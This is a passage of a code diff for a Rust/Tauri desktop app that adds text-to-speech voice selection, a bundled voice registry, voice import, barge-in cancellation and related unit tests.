"Charles", Some("charles.wav")), + ("pocket:paul", "Paul", Some("paul.wav")), + ("pocket:eponine", "Eponine", Some("eponine.wav")), + ("pocket:azelma", "Azelma", Some("azelma.wav")), + ("pocket:george", "George", Some("george.wav")), + ("pocket:mary", "Mary", Some("reference_sample.wav")), + ("pocket:jane", "Jane", Some("jane.wav")), + ("pocket:michael", "Michael", Some("michael.wav")), + ("pocket:eve", "Eve", Some("eve.wav")), + ] + ); + } + + #[test] + fn local_backend_resolution_uses_first_compatible_preference() { + let preferences = vec![ + "siri:aaron".to_string(), + EVE_VOICE_KEY.to_string(), + MARY_VOICE_KEY.to_string(), + "kokoro:af_heart".to_string(), + ]; + assert_eq!( + resolve_voice_for_backend(&preferences, POCKET_BACKEND_ID) + .expect("Pocket fallback") + .key, + EVE_VOICE_KEY + ); + } + + #[test] + fn unsupported_or_missing_preferences_fall_back_to_backend_default() { + let preferences = vec![ + "siri:aaron".to_string(), + "pocket:imported:deadbeef".to_string(), + ]; + assert_eq!( + resolve_voice_for_backend(&preferences, POCKET_BACKEND_ID) + .expect("Pocket fallback") + .key, + MARY_VOICE_KEY + ); + } + + #[test] + fn identity_is_qualified_key_not_display_label() { + assert!(is_qualified_voice_key("pocket:imported:audio-content-hash")); + assert_ne!(MARY_VOICE_KEY, EVE_VOICE_KEY); + let mut registry = bundled_voice_registry(); + registry[0].display_name = "Jim".to_string(); + registry[1].display_name = "Jim".to_string(); + assert_eq!(registry[0].display_name, registry[1].display_name); + assert_ne!(registry[0].key, registry[1].key); + assert_eq!( + registry + .iter() + .map(|voice| voice.key.as_str()) + .collect::>() + .len(), + registry.len() + ); + } + + #[test] + fn bundled_vctk_assets_match_the_registry_manifest() { + for voice in POCKET_VOICES { + let Some(bytes) = voice.bytes else { + continue; + }; + assert_eq!(&bytes[0..4], b"RIFF", "{}", voice.display_name); + assert_eq!(&bytes[8..12], b"WAVE", "{}", voice.display_name); + assert_eq!( + hex::encode(::digest(bytes)), + voice.sha256, + "{}", + voice.display_name + ); + } + } + + #[test] + fn migrates_unversioned_experiment_settings_to_v1_defaults() { + let dir = tempfile::tempdir().expect("temp dir"); + let path = dir.path().join(SETTINGS_FILE); + std::fs::write(&path, r#"{"voice":"legacy-experiment"}"#).expect("fixture write"); + assert_eq!( + load_from_path(&path).expect("migration"), + TtsSettings::default() + ); + } + + #[test] + fn migrates_bare_pocket_voice_id_to_qualified_preferences() { + let dir = tempfile::tempdir().expect("temp dir"); + let path = dir.path().join(SETTINGS_FILE); + std::fs::write( + &path, + r#"{"version":1,"agentTextToSpeech":false,"voiceId":"eve"}"#, + ) + .expect("fixture write"); + assert_eq!( + load_from_path(&path).expect("migration"), + TtsSettings { + version: 1, + agent_text_to_speech: false, + voice_preferences: vec![EVE_VOICE_KEY.to_string()], + } + ); + } + + #[test] + fn unknown_qualified_preferences_are_preserved_for_other_clients() { + let dir = tempfile::tempdir().expect("temp dir"); + let path = dir.path().join(SETTINGS_FILE); + std::fs::write( + &path, + r#"{"version":1,"agentTextToSpeech":false,"voicePreferences":["siri:aaron","pocket:imported:abc123"]}"#, + ) + .expect("fixture write"); + let settings = load_from_path(&path).expect("load"); + assert!(!settings.agent_text_to_speech); + assert_eq!( + settings.voice_preferences, + vec!["siri:aaron", "pocket:imported:abc123"] + ); + } + + #[test] + fn rejects_future_schema_versions_clearly() { + let dir = tempfile::tempdir().expect("temp dir"); + let path = dir.path().join(SETTINGS_FILE); + std::fs::write( + &path, + r#"{"version":99,"agentTextToSpeech":true,"voicePreferences":["pocket:mary"]}"#, + ) + .expect("fixture write"); + assert!(load_from_path(&path) + .expect_err("future version should fail") + .contains("newer than this Buzz build supports")); + } + + #[test] + fn disabling_cancels_runtime_before_persistence_can_fail() { + let mut huddle = super::super::HuddleState { + tts_enabled: true, + ..super::super::HuddleState::default() + }; + assert!(!huddle.tts_cancel.load(std::sync::atomic::Ordering::Acquire)); + assert!(cancel_huddle_speech(&mut huddle).is_none()); + assert!(!huddle.tts_enabled); + assert!(huddle.tts_cancel.load(std::sync::atomic::Ordering::Acquire)); + } + + #[test] + fn pocket_voice_update_preserves_the_latest_toggle_and_other_backends() { + let current = TtsSettings { + agent_text_to_speech: false, + voice_preferences: vec!["siri:aaron".to_string(), MARY_VOICE_KEY.to_string()], + ..TtsSettings::default() + }; + let updated = settings_with_pocket_voice_from_registry( + current, + EVE_VOICE_KEY, + &bundled_voice_registry(), + ) + .expect("available voice"); + assert!(!updated.agent_text_to_speech); + assert_eq!(updated.voice_preferences, vec!["siri:aaron", EVE_VOICE_KEY]); + } + + #[test] + fn failed_off_persistence_cannot_be_undone_by_a_later_voice_update() { + let state = crate::app_state::build_app_state(); + commit_effective_off(&state).expect("commit effective OFF state"); + + // This models the next command after the OFF save fails: it must merge + // from effective memory state, not the stale last-persisted ON value. + let current = state.huddle_audio.tts.lock().expect("settings").clone(); + let voice_update = settings_with_pocket_voice_from_registry( + current, + EVE_VOICE_KEY, + &bundled_voice_registry(), + ) + .expect("available voice"); + assert!(!voice_update.agent_text_to_speech); + } + + #[test] + fn failed_disabled_voice_save_does_not_change_the_remembered_voice() { + let state = crate::app_state::build_app_state(); + state + .huddle_audio + .tts + .lock() + .expect("settings") + .agent_text_to_speech = false; + let current = state.huddle_audio.tts.lock().expect("settings").clone(); + let unsaved = settings_with_pocket_voice_from_registry( + current, + EVE_VOICE_KEY, + &bundled_voice_registry(), + ) + .expect("available voice"); + + // This is the only pre-persistence mutation for an OFF candidate. + commit_effective_off(&state).expect("commit effective OFF state"); + let remembered = state.huddle_audio.tts.lock().expect("settings").clone(); + assert_eq!(remembered.voice_preferences, vec![MARY_VOICE_KEY]); + assert_eq!(unsaved.voice_preferences, vec![EVE_VOICE_KEY]); + } +} diff --git a/desktop/src-tauri/src/huddle/tts_speaker_cancellation.rs b/desktop/src-tauri/src/huddle/tts_speaker_cancellation.rs new file mode 100644 index 0000000000..4b9c2824f7 --- /dev/null +++ b/desktop/src-tauri/src/huddle/tts_speaker_cancellation.rs @@ -0,0 +1,177 @@ +use super::*; + +pub(super) struct TtsMonitorState { + pub(super) player: Arc, + pub(super) cancel: Arc, + pub(super) voice_cancel: Arc, + pub(super) tts_active: Arc, + pub(super) stop: Arc, + pub(super) player_ops: Arc>, + pub(super) activity_frames: Arc>>, + pub(super) active_speaker: ActiveSpeaker, + pub(super) speaker_cancel: SpeakerCancellation, + pub(super) activity_app: Option, +} + +pub(super) fn spawn_tts_monitor(state: TtsMonitorState) -> std::io::Result> { + thread::Builder::new() + .name("tts-barge-in-monitor".into()) + .spawn(move || { + let mut last_activity_pubkey: Option = None; + let mut next_activity_tick = Instant::now(); + while !state.stop.load(Ordering::Acquire) { + if state.cancel.load(Ordering::Acquire) + || state.voice_cancel.load(Ordering::Acquire) + { + let _ops = lock_player_ops(&state.player_ops); + if state.cancel.load(Ordering::Acquire) + || state.voice_cancel.load(Ordering::Acquire) + { + state.player.clear(); + state.player.play(); + state + .active_speaker + .lock() + .unwrap_or_else(|error| error.into_inner()) + .take(); + state.tts_active.store(false, Ordering::Release); + } + } + silence_cancelled_speaker( + &state.speaker_cancel, + &state.active_speaker, + &state.player, + &state.player_ops, + &state.tts_active, + ); + if let Some(ref app) = state.activity_app { + if state.tts_active.load(Ordering::Acquire) { + let now = Instant::now(); + if now >= next_activity_tick { + let frame = state + .activity_frames + .lock() + .unwrap_or_else(|error| error.into_inner()) + .pop_front(); + if let Some(frame) = frame { + use tauri::Emitter; + let _ = app.emit( + "huddle-tts-speaker-level", + TtsSpeakerActivityPayload { + pubkey: Some(frame.pubkey.clone()), + level: frame.level, + }, + ); + last_activity_pubkey = Some(frame.pubkey); + } + next_activity_tick = now + SPEAKER_ACTIVITY_TICK; + } + } else { + let had_activity = last_activity_pubkey.take().is_some(); + state + .activity_frames + .lock() + .unwrap_or_else(|error| error.into_inner()) + .clear(); + if had_activity { + use tauri::Emitter; + let _ = app.emit( + "huddle-tts-speaker-level", + TtsSpeakerActivityPayload { + pubkey: None, + level: 0.0, + }, + ); + } + next_activity_tick = Instant::now(); + } + } + thread::sleep(MONITOR_TICK); + } + }) +} + +pub(super) fn silence_cancelled_speaker( + cancellation: &SpeakerCancellation, + active_speaker: &ActiveSpeaker, + player: &rodio::Player, + player_ops: &Mutex<()>, + tts_active: &AtomicBool, +) { + let Some(cancelled) = cancellation + .lock() + .unwrap_or_else(|error| error.into_inner()) + .clone() + else { + return; + }; + let _ops = lock_player_ops(player_ops); + if take_cancelled_active_speaker(&cancelled, active_speaker) { + player.clear(); + player.play(); + tts_active.store(false, Ordering::Release); + } +} + +fn take_cancelled_active_speaker(cancelled: &str, active_speaker: &ActiveSpeaker) -> bool { + let mut active = active_speaker + .lock() + .unwrap_or_else(|error| error.into_inner()); + if !active + .as_deref() + .is_some_and(|speaker| speaker.eq_ignore_ascii_case(cancelled)) + { + return false; + } + active.take(); + true +} + +pub(super) fn consume_speaker_cancel( + cancellation: &SpeakerCancellation, + active_speaker: &ActiveSpeaker, + generations: &SpeakerGenerations, + tts_active: &AtomicBool, + text_state: CancelTextState<'_>, + player: Option<(&rodio::Player, &Mutex<()>)>, +) -> bool { + let Some(cancelled) = cancellation + .lock() + .unwrap_or_else(|error| error.into_inner()) + .take() + else { + return false; + }; + let (text_rx, deferred_text, current_text) = text_state; + retain_current_speaker_text(generations, deferred_text, current_text, text_rx); + let mut cleared_player = false; + if let Some((player, player_ops)) = player { + let _ops = lock_player_ops(player_ops); + if take_cancelled_active_speaker(&cancelled, active_speaker) { + player.clear(); + player.play(); + tts_active.store(false, Ordering::Release); + cleared_player = true; + } + } + // The monitor may already have cleared the cancelled speaker while the + // worker was blocked. If another speaker has since claimed the player, + // preserve that speaker's activity flag and lead-in state. + cleared_player +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn stale_targeted_cancel_does_not_release_the_next_speaker() { + let active_speaker = Arc::new(Mutex::new(Some("bob".to_string()))); + + assert!(!take_cancelled_active_speaker("alice", &active_speaker)); + assert_eq!( + active_speaker.lock().expect("active speaker").as_deref(), + Some("bob") + ); + } +} diff --git a/desktop/src-tauri/src/huddle/tts_startup.rs b/desktop/src-tauri/src/huddle/tts_startup.rs new file mode 100644 index 0000000000..2cb50401a9 --- /dev/null +++ b/desktop/src-tauri/src/huddle/tts_startup.rs @@ -0,0 +1,24 @@ +use std::{sync::mpsc, thread}; + +pub(super) fn await_worker_startup( + handle: thread::JoinHandle<()>, + startup_rx: mpsc::Receiver>, +) -> Result, String> { + match startup_rx.recv() { + Ok(Ok(())) => Ok(handle), + Ok(Err(error)) => { + let _ = handle.join(); + Err(error) + } + Err(error) => { + let _ = handle.join(); + Err(format!( + "TTS worker exited before reporting readiness: {error}" + )) + } + } +} + +#[cfg(test)] +#[path = "tts_startup_tests.rs"] +mod tests; diff --git a/desktop/src-tauri/src/huddle/tts_startup_tests.rs b/desktop/src-tauri/src/huddle/tts_startup_tests.rs new file mode 100644 index 0000000000..cf688c2db8 --- /dev/null +++ b/desktop/src-tauri/src/huddle/tts_startup_tests.rs @@ -0,0 +1,44 @@ +use super::*; +use std::sync::{ + atomic::{AtomicBool, Ordering}, + Arc, +}; + +#[test] +fn startup_failure_is_returned_after_worker_exit() { + let (tx, rx) = mpsc::sync_channel(1); + let exited = Arc::new(AtomicBool::new(false)); + let exited_worker = Arc::clone(&exited); + let handle = std::thread::spawn(move || { + tx.send(Err("output unavailable".to_string())) + .expect("startup receiver"); + exited_worker.store(true, Ordering::Release); + }); + + assert_eq!( + await_worker_startup(handle, rx).expect_err("startup must fail"), + "output unavailable" + ); + assert!(exited.load(Ordering::Acquire)); +} + +#[test] +fn worker_exit_before_readiness_is_a_startup_error() { + let (tx, rx) = mpsc::sync_channel::>(1); + let handle = std::thread::spawn(move || drop(tx)); + + assert!(await_worker_startup(handle, rx) + .expect_err("closed startup channel must fail") + .contains("before reporting readiness")); +} + +#[test] +fn ready_ack_precedes_pipeline_publication_boundary() { + let (tx, rx) = mpsc::sync_channel(1); + let handle = std::thread::spawn(move || { + tx.send(Ok(())).expect("startup receiver"); + }); + + let handle = await_worker_startup(handle, rx).expect("ready worker"); + handle.join().expect("worker exits"); +} diff --git a/desktop/src-tauri/src/huddle/tts_tests.rs b/desktop/src-tauri/src/huddle/tts_tests.rs index 1908b096b1..1dee4de90c 100644 --- a/desktop/src-tauri/src/huddle/tts_tests.rs +++ b/desktop/src-tauri/src/huddle/tts_tests.rs @@ -32,6 +32,19 @@ mod token_split; // - Counters reset on the 500ms window (Instant-based in production, // on_tick() in tests — logically equivalent). // - Uses Acquire for tts_active reads, Release for tts_cancel writes. + +#[test] +fn tts_speaker_activity_uses_the_playback_waveform() { + let mut samples = vec![0.0; 1_200]; + samples.extend(vec![0.25; 1_200]); + + let frames = build_tts_speaker_activity_frames(&samples, "agent-pubkey", 24_000); + + assert_eq!(frames.len(), 2); + assert_eq!(frames[0].pubkey, "agent-pubkey"); + assert_eq!(frames[0].level, 0.0); + assert!(frames[1].level > 0.5); +} // use crate::huddle::relay_api::REMOTE_SPEECH_THRESHOLD; @@ -287,24 +300,6 @@ fn cancel_already_true_is_harmless() { ); } -// ── Regression: local-only interrupt still works ────────────────────────── - -/// The existing local barge-in path (STT detects speech → sets tts_cancel) -/// must continue to work independently of remote frame counting. -#[test] -fn local_barge_in_still_works_without_remote_frames() { - let _tts_active = AtomicBool::new(true); - let tts_cancel = AtomicBool::new(false); - - // Simulate local STT barge-in (stt.rs after BARGE_IN_DEBOUNCE_FRAMES). - tts_cancel.store(true, Ordering::Release); - - assert!( - tts_cancel.load(Ordering::Acquire), - "local barge-in should set tts_cancel", - ); -} - // ── Cancel consumption tests (TTS worker side) ──────────────────────────── /// TTS worker correctly resets both tts_cancel and tts_active after cancel. diff --git a/desktop/src-tauri/src/huddle/tts_voice_import.rs b/desktop/src-tauri/src/huddle/tts_voice_import.rs new file mode 100644 index 0000000000..cdcc7761e2 --- /dev/null +++ b/desktop/src-tauri/src/huddle/tts_voice_import.rs @@ -0,0 +1,59 @@ +//! Tauri native-picker adapter for the reusable local Pocket voice library. + +use std::path::PathBuf; + +use buzz_voice_pkg::imported::{ImportedVoice, PocketVoiceLibrary}; +use tauri::{AppHandle, Manager}; + +pub fn voices_dir(app: &AppHandle) -> Result { + app.path() + .app_data_dir() + .map(|path| path.join("tts").join("pocket-voices")) + .map_err(|error| format!("could not locate local voice storage: {error}")) +} + +fn library(app: &AppHandle) -> Result { + voices_dir(app).map(PocketVoiceLibrary::new) +} + +pub fn load_registry(app: &AppHandle) -> Result, String> { + library(app)?.load() +} + +pub fn resolve_file(app: &AppHandle, voice: &ImportedVoice) -> Result { + library(app)?.resolve_file(voice) +} + +pub async fn pick_and_import(app: &AppHandle) -> Result, String> { + use tauri_plugin_dialog::DialogExt; + + let (sender, receiver) = tokio::sync::oneshot::channel(); + app.dialog() + .file() + .add_filter( + "Audio", + &["wav", "m4a", "mp3", "flac", "ogg", "oga", "aif", "aiff"], + ) + .pick_file(move |path| { + let _ = sender.send(path); + }); + let Some(file_path) = receiver + .await + .map_err(|_| "voice picker closed unexpectedly".to_string())? + else { + return Ok(None); + }; + let path = file_path + .as_path() + .ok_or("the selected voice path is invalid")? + .to_path_buf(); + let voice_library = library(app)?; + tokio::task::spawn_blocking(move || voice_library.import_path(&path)) + .await + .map_err(|error| format!("voice import task failed: {error}"))? + .map(Some) +} + +pub fn delete(app: &AppHandle, key: &str) -> Result<(), String> { + library(app)?.delete(key) +} diff --git a/desktop/src-tauri/src/huddle/tts_voice_registry.rs b/desktop/src-tauri/src/huddle/tts_voice_registry.rs new file mode 100644 index 0000000000..bdfbd7677b --- /dev/null +++ b/desktop/src-tauri/src/huddle/tts_voice_registry.rs @@ -0,0 +1,129 @@ +//! Built-in Pocket voice identities and immutable asset metadata. +//! +//! Stable keys identify audio, not display labels. Future imported voices use +//! `pocket:imported:` and may share editable labels. + +pub(super) const MARY_VOICE_KEY: &str = "pocket:mary"; +pub(super) const VCTK_REVISION: &str = "323332d33f997de8394f24a193e1a76df720e01a"; + +pub(super) struct PocketVoiceSpec { + pub key: &'static str, + pub display_name: &'static str, + pub reference_file: &'static str, + pub upstream_file: &'static str, + pub sha256: &'static str, + pub bytes: Option<&'static [u8]>, +} + +macro_rules! bundled_voice { + ($key:literal, $name:literal, $file:literal, $upstream:literal, $hash:literal) => { + PocketVoiceSpec { + key: $key, + display_name: $name, + reference_file: concat!($file, ".wav"), + upstream_file: concat!("vctk/", $upstream), + sha256: $hash, + bytes: Some(include_bytes!(concat!( + "../../resources/pocket-voices/", + $file, + ".wav" + ))), + } + }; +} + +/// Official English Pocket presets, in the order published by Kyutai. +pub(super) static POCKET_VOICES: &[PocketVoiceSpec] = &[ + bundled_voice!( + "pocket:anna", + "Anna", + "anna", + "p228_023_enhanced.wav", + "0a6de25cf12bf1540beb85979f306a92be81fecc051c547c5395e7e5237a3856" + ), + bundled_voice!( + "pocket:vera", + "Vera", + "vera", + "p229_023_enhanced.wav", + "309cf91a895830f15842b398f69a4962cb1f7e0bfab10e25dd27838e826c204b" + ), + bundled_voice!( + "pocket:fantine", + "Fantine", + "fantine", + "p244_023_enhanced.wav", + "5f07d4e2a3f20a15572aae885156b43ef3fc12ef3812996fd135680d9956448b" + ), + bundled_voice!( + "pocket:charles", + "Charles", + "charles", + "p254_023_enhanced.wav", + "6b681a429198f16e378d53bccb08d06939da7b00144a7696111d4f8f76be7756" + ), + bundled_voice!( + "pocket:paul", + "Paul", + "paul", + "p259_023_enhanced.wav", + "7aba504fe0b3b16478b69eb27ce6007e3cb42b0c1915b5f1c6a6024ae37d679b" + ), + bundled_voice!( + "pocket:eponine", + "Eponine", + "eponine", + "p262_023_enhanced.wav", + "a13c27fb47627b05223691a0ef2974358a18c886e6c2f9d2762ff1d02c20926b" + ), + bundled_voice!( + "pocket:azelma", + "Azelma", + "azelma", + "p303_023_enhanced.wav", + "60e3d26cdf2efdec5df712152c839928f4d5522821e6554ae11fd96c57ab1026" + ), + bundled_voice!( + "pocket:george", + "George", + "george", + "p315_023_enhanced.wav", + "29a41f93bf5236e5b21501091d7774c255d5f3d4e62fa4f9fdf0a92a793c84ae" + ), + PocketVoiceSpec { + key: MARY_VOICE_KEY, + display_name: "Mary", + reference_file: "reference_sample.wav", + upstream_file: "vctk/p333_023_enhanced.wav", + sha256: "a35b0468382218e9f37a9a7494d1e4b74deaf18d7ced22265b4e325bb55c183f", + bytes: None, + }, + bundled_voice!( + "pocket:jane", + "Jane", + "jane", + "p339_023_enhanced.wav", + "2f12e7f155eb3118f55425394f1b049e5b1b67bdc9b3932c8ba4521420aeb84a" + ), + bundled_voice!( + "pocket:michael", + "Michael", + "michael", + "p360_023_enhanced.wav", + "b6743e9195e5e3fd34fe9d1633ae93f7ffab787b249e45f6467d7d6f7a6ee6ad" + ), + bundled_voice!( + "pocket:eve", + "Eve", + "eve", + "p361_023_enhanced.wav", + "396e7cbd066b0f3fb6d67fa26e7904076958239d736d4390f15b5fe88feb14cd" + ), +]; + +pub(super) fn source_url(voice: &PocketVoiceSpec) -> String { + format!( + "https://huggingface.co/kyutai/tts-voices/blob/{VCTK_REVISION}/{}", + voice.upstream_file + ) +} diff --git a/desktop/src-tauri/src/huddle/tts_voice_selection_tests.rs b/desktop/src-tauri/src/huddle/tts_voice_selection_tests.rs new file mode 100644 index 0000000000..bff5ab4f76 --- /dev/null +++ b/desktop/src-tauri/src/huddle/tts_voice_selection_tests.rs @@ -0,0 +1,415 @@ +use super::*; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::Arc; + +fn inert_pipeline(cancel: Arc) -> TtsPipeline { + let (text_tx, text_rx) = std::sync::mpsc::sync_channel(TEXT_QUEUE_DEPTH); + let shutdown = Arc::new(AtomicBool::new(false)); + let worker_shutdown = Arc::clone(&shutdown); + let thread = std::thread::spawn(move || { + while !worker_shutdown.load(Ordering::Acquire) { + let _ = text_rx.recv_timeout(RECV_TIMEOUT); + } + }); + TtsPipeline { + text_tx, + tts_active: Arc::new(AtomicBool::new(false)), + shutdown, + cancel, + voice_cancel: Arc::new(AtomicBool::new(false)), + voice: Arc::new(std::sync::Mutex::new("reference_sample".to_string())), + voice_generation: Arc::new(AtomicU64::new(1)), + speaker_generations: Arc::new(std::sync::Mutex::new(HashMap::new())), + active_speaker: Arc::new(std::sync::Mutex::new(None)), + speaker_cancel: Arc::new(std::sync::Mutex::new(None)), + playback_probe: PlaybackProbe::new(), + voice_change_ack: Arc::new(std::sync::Mutex::new(None)), + thread: Some(thread), + } +} + +#[test] +fn selecting_a_voice_raises_only_the_internal_cancel_and_retains_the_engine_handle() { + let cancel = Arc::new(AtomicBool::new(false)); + let pipeline = inert_pipeline(Arc::clone(&cancel)); + + let _acknowledged = pipeline.select_voice("eve"); + + assert!(!cancel.load(Ordering::Acquire)); + assert!(pipeline.voice_cancel.load(Ordering::Acquire)); + assert_eq!( + pipeline + .voice + .lock() + .unwrap_or_else(|error| error.into_inner()) + .as_str(), + "eve" + ); +} + +#[test] +fn reconciling_an_unpublished_pipeline_does_not_cancel_its_first_message() { + let cancel = Arc::new(AtomicBool::new(false)); + let pipeline = inert_pipeline(Arc::clone(&cancel)); + + pipeline.select_voice_before_publish("eve"); + + assert!(!cancel.load(Ordering::Acquire)); + assert_eq!( + pipeline + .voice + .lock() + .unwrap_or_else(|error| error.into_inner()) + .as_str(), + "eve" + ); +} + +#[test] +fn received_text_reconciles_a_voice_changed_while_the_worker_was_waiting() { + let model_dir = tempfile::tempdir().expect("temp model dir"); + let bundled_voice = + std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("resources/pocket-voices/eve.wav"); + std::fs::copy( + &bundled_voice, + model_dir.path().join("reference_sample.wav"), + ) + .expect("Mary test voice"); + std::fs::copy(&bundled_voice, model_dir.path().join("eve.wav")).expect("Eve test voice"); + + let selected_voice = Arc::new(std::sync::Mutex::new("reference_sample".to_string())); + let mut style = + load_voice_style(&model_dir.path().join("reference_sample.wav")).expect("initial style"); + let waiting = Arc::new(std::sync::Barrier::new(2)); + let (text_tx, text_rx) = std::sync::mpsc::channel(); + let worker_voice = Arc::clone(&selected_voice); + let worker_waiting = Arc::clone(&waiting); + let worker_model_dir = model_dir.path().to_path_buf(); + let worker = std::thread::spawn(move || { + let mut voice_name = "reference_sample".to_string(); + worker_waiting.wait(); + let text = text_rx.recv().expect("first queued text"); + assert!(reconcile_selected_voice( + &worker_model_dir, + &worker_voice, + &mut voice_name, + &mut style, + )); + (text, voice_name) + }); + + waiting.wait(); + *selected_voice.lock().expect("selected voice") = "eve".to_string(); + text_tx + .send("first message".to_string()) + .expect("queue first message"); + + assert_eq!( + worker.join().expect("worker"), + ("first message".to_string(), "eve".to_string()) + ); +} + +#[test] +fn corrupt_selected_voice_falls_back_to_mary() { + let model_dir = tempfile::tempdir().expect("temp model dir"); + let bundled_voice = + std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("resources/pocket-voices/eve.wav"); + std::fs::copy(bundled_voice, model_dir.path().join("reference_sample.wav")) + .expect("Mary test voice"); + std::fs::write(model_dir.path().join("eve.wav"), b"not a wave") + .expect("corrupt selected voice"); + + let selected_voice = std::sync::Mutex::new("eve".to_string()); + let mut voice_name = "reference_sample".to_string(); + let mut style = + load_voice_style(&model_dir.path().join("reference_sample.wav")).expect("Mary style"); + + assert!(reconcile_selected_voice( + model_dir.path(), + &selected_voice, + &mut voice_name, + &mut style, + )); + assert_eq!(voice_name, DEFAULT_VOICE); + assert_eq!( + selected_voice + .lock() + .unwrap_or_else(|error| error.into_inner()) + .as_str(), + DEFAULT_VOICE + ); +} + +#[test] +fn an_in_hand_post_change_message_survives_cancellation() { + let selected_voice = Arc::new(std::sync::Mutex::new("reference_sample".to_string())); + let voice_generation = AtomicU64::new(1); + let barge_in = AtomicBool::new(false); + let voice_cancel = Arc::new(AtomicBool::new(false)); + let voice_change_ack = Arc::new(std::sync::Mutex::new(None)); + let (text_tx, text_rx) = std::sync::mpsc::sync_channel(1); + let mut acknowledged = begin_voice_change( + &selected_voice, + &voice_generation, + &voice_cancel, + &voice_change_ack, + "eve", + ) + .expect("voice changed"); + assert!(voice_cancel.load(Ordering::Acquire)); + assert!(matches!( + acknowledged.try_recv(), + Err(tokio::sync::oneshot::error::TryRecvError::Empty) + )); + acknowledge_voice_change(&voice_change_ack, &voice_cancel); + assert!(matches!( + acknowledged.try_recv(), + Err(tokio::sync::oneshot::error::TryRecvError::Empty) + )); + text_tx + .send(QueuedText { + generation: voice_generation.load(Ordering::Acquire), + route_id: 1, + speaker_pubkey: None, + speaker_generation: 0, + voice_reference: None, + text: "new message".to_string(), + }) + .expect("new message"); + let mut current_text = Some(text_rx.recv().expect("in-hand new message")); + + let shutdown = AtomicBool::new(false); + let active = AtomicBool::new(true); + let mut deferred_text = VecDeque::from([ + QueuedText { + generation: 1, + route_id: 2, + speaker_pubkey: None, + speaker_generation: 0, + voice_reference: None, + text: "old message".to_string(), + }, + QueuedText { + generation: voice_generation.load(Ordering::Acquire), + route_id: 3, + speaker_pubkey: None, + speaker_generation: 0, + voice_reference: None, + text: "later new message".to_string(), + }, + ]); + assert!(handle_cancel_or_shutdown( + (&barge_in, &voice_cancel), + &shutdown, + &active, + (&text_rx, &mut deferred_text, &mut current_text), + &voice_change_ack, + None, + None, + )); + acknowledge_voice_change(&voice_change_ack, &voice_cancel); + acknowledged.blocking_recv().expect("voice change ack"); + + assert_eq!( + deferred_text + .pop_front() + .expect("preserved post-change message") + .text, + "new message" + ); + assert_eq!( + deferred_text + .pop_front() + .expect("later post-change message") + .text, + "later new message" + ); + assert!(text_rx.try_recv().is_err()); +} + +#[test] +fn superseding_voice_change_removes_earlier_deferred_messages() { + let selected_voice = std::sync::Mutex::new("reference_sample".to_string()); + let voice_generation = AtomicU64::new(1); + let barge_in = AtomicBool::new(false); + let voice_cancel = AtomicBool::new(false); + let voice_change_ack = Arc::new(std::sync::Mutex::new(None)); + let (_text_tx, text_rx) = std::sync::mpsc::channel(); + let shutdown = AtomicBool::new(false); + let active = AtomicBool::new(true); + let mut deferred_text = VecDeque::new(); + let mut current_text = None; + + let first = begin_voice_change( + &selected_voice, + &voice_generation, + &voice_cancel, + &voice_change_ack, + "eve", + ) + .expect("first voice change"); + deferred_text.push_back(QueuedText { + generation: voice_generation.load(Ordering::Acquire), + route_id: 4, + speaker_pubkey: None, + speaker_generation: 0, + voice_reference: None, + text: "message for Eve".to_string(), + }); + assert!(handle_cancel_or_shutdown( + (&barge_in, &voice_cancel), + &shutdown, + &active, + (&text_rx, &mut deferred_text, &mut current_text), + &voice_change_ack, + None, + None, + )); + acknowledge_voice_change(&voice_change_ack, &voice_cancel); + first.blocking_recv().expect("first acknowledgement"); + + let _second = begin_voice_change( + &selected_voice, + &voice_generation, + &voice_cancel, + &voice_change_ack, + "reference_sample", + ) + .expect("second voice change"); + assert!(handle_cancel_or_shutdown( + (&barge_in, &voice_cancel), + &shutdown, + &active, + (&text_rx, &mut deferred_text, &mut current_text), + &voice_change_ack, + None, + None, + )); + + assert!(deferred_text.is_empty()); +} + +#[test] +fn barge_in_clears_deferred_voice_change_messages() { + let barge_in = AtomicBool::new(true); + let voice_cancel = AtomicBool::new(false); + let shutdown = AtomicBool::new(false); + let active = AtomicBool::new(true); + let voice_change_ack = Arc::new(std::sync::Mutex::new(None)); + let (_text_tx, text_rx) = std::sync::mpsc::channel(); + let mut deferred_text = VecDeque::from([QueuedText { + generation: 2, + route_id: 5, + speaker_pubkey: None, + speaker_generation: 0, + voice_reference: None, + text: "deferred message".to_string(), + }]); + let mut current_text = None; + + assert!(handle_cancel_or_shutdown( + (&barge_in, &voice_cancel), + &shutdown, + &active, + (&text_rx, &mut deferred_text, &mut current_text), + &voice_change_ack, + None, + None, + )); + + assert!(deferred_text.is_empty()); +} + +#[test] +fn barge_in_during_a_voice_change_clears_post_change_messages() { + let selected_voice = std::sync::Mutex::new("reference_sample".to_string()); + let voice_generation = AtomicU64::new(1); + let barge_in = AtomicBool::new(false); + let voice_cancel = AtomicBool::new(false); + let voice_change_ack = Arc::new(std::sync::Mutex::new(None)); + let (_text_tx, text_rx) = std::sync::mpsc::channel(); + let shutdown = AtomicBool::new(false); + let active = AtomicBool::new(true); + let mut deferred_text = VecDeque::new(); + let mut current_text = None; + + let _acknowledged = begin_voice_change( + &selected_voice, + &voice_generation, + &voice_cancel, + &voice_change_ack, + "eve", + ) + .expect("voice change"); + deferred_text.push_back(QueuedText { + generation: voice_generation.load(Ordering::Acquire), + route_id: 6, + speaker_pubkey: None, + speaker_generation: 0, + voice_reference: None, + text: "post-change message".to_string(), + }); + barge_in.store(true, Ordering::Release); + + assert!(handle_cancel_or_shutdown( + (&barge_in, &voice_cancel), + &shutdown, + &active, + (&text_rx, &mut deferred_text, &mut current_text), + &voice_change_ack, + None, + None, + )); + assert!(deferred_text.is_empty()); +} + +#[test] +fn a_sender_captured_before_voice_change_is_stale_even_if_it_sends_after_drain() { + let selected_voice = std::sync::Mutex::new("reference_sample".to_string()); + let voice_generation = Arc::new(AtomicU64::new(1)); + let barge_in = AtomicBool::new(false); + let voice_cancel = AtomicBool::new(false); + let voice_change_ack = Arc::new(std::sync::Mutex::new(None)); + let (text_tx, text_rx) = std::sync::mpsc::sync_channel(1); + let old_sender = TtsTextSender { + text_tx, + generation: voice_generation.load(Ordering::Acquire), + speaker_generations: Arc::new(std::sync::Mutex::new(HashMap::new())), + }; + let shutdown = AtomicBool::new(false); + let active = AtomicBool::new(true); + let mut deferred_text = VecDeque::new(); + let mut current_text = None; + + let _acknowledged = begin_voice_change( + &selected_voice, + &voice_generation, + &voice_cancel, + &voice_change_ack, 